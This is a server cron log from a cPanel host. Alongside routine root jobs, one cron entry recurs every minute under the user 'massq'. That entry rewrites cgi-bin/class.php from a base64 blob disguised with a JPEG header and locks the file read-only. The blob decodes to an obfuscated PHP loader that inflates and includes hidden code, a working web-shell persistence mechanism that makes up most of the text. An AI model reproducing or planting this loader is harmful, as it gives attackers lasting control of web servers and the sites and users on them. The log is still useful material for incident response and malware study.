Sep  7 16:54:01 server CROND[31948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:55:01 server CROND[32339]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:55:01 server CROND[32340]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 16:55:01 server CROND[32346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:55:01 server CROND[32350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:55:01 server CROND[32347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:55:01 server CROND[32351]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 16:55:01 server CROND[32349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:56:01 server CROND[727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:56:01 server CROND[728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:56:01 server CROND[729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:57:01 server CROND[1174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:57:01 server CROND[1175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:57:01 server CROND[1176]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 16:57:01 server CROND[1177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:58:01 server CROND[1592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:58:01 server CROND[1593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:58:01 server CROND[1594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:59:01 server CROND[2125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:59:01 server CROND[2126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:59:01 server CROND[2127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:00:01 server CROND[2531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:00:01 server CROND[2532]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 17:00:01 server CROND[2534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 17:00:01 server CROND[2539]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 17:00:01 server CROND[2543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:00:01 server CROND[2548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:00:01 server CROND[2546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:00:01 server CROND[2551]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 17:00:01 server CROND[2540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:01:01 server CROND[3410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:01:01 server CROND[3412]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 17:01:01 server CROND[3411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:01:01 server CROND[3414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:01:01 server run-parts(/etc/cron.hourly)[3412]: starting 0anacron
Sep  7 17:01:01 server run-parts(/etc/cron.hourly)[3433]: finished 0anacron
Sep  7 17:02:01 server CROND[4370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:02:01 server CROND[4369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:02:01 server CROND[4371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:03:01 server CROND[4758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:03:01 server CROND[4759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:03:01 server CROND[4761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:04:01 server CROND[5252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:04:01 server CROND[5251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 17:04:01 server CROND[5253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:05:01 server CROND[5635]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 17:05:01 server CROND[5636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:05:01 server CROND[5638]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:05:01 server CROND[5639]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 17:05:01 server CROND[5644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:05:01 server CROND[5642]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
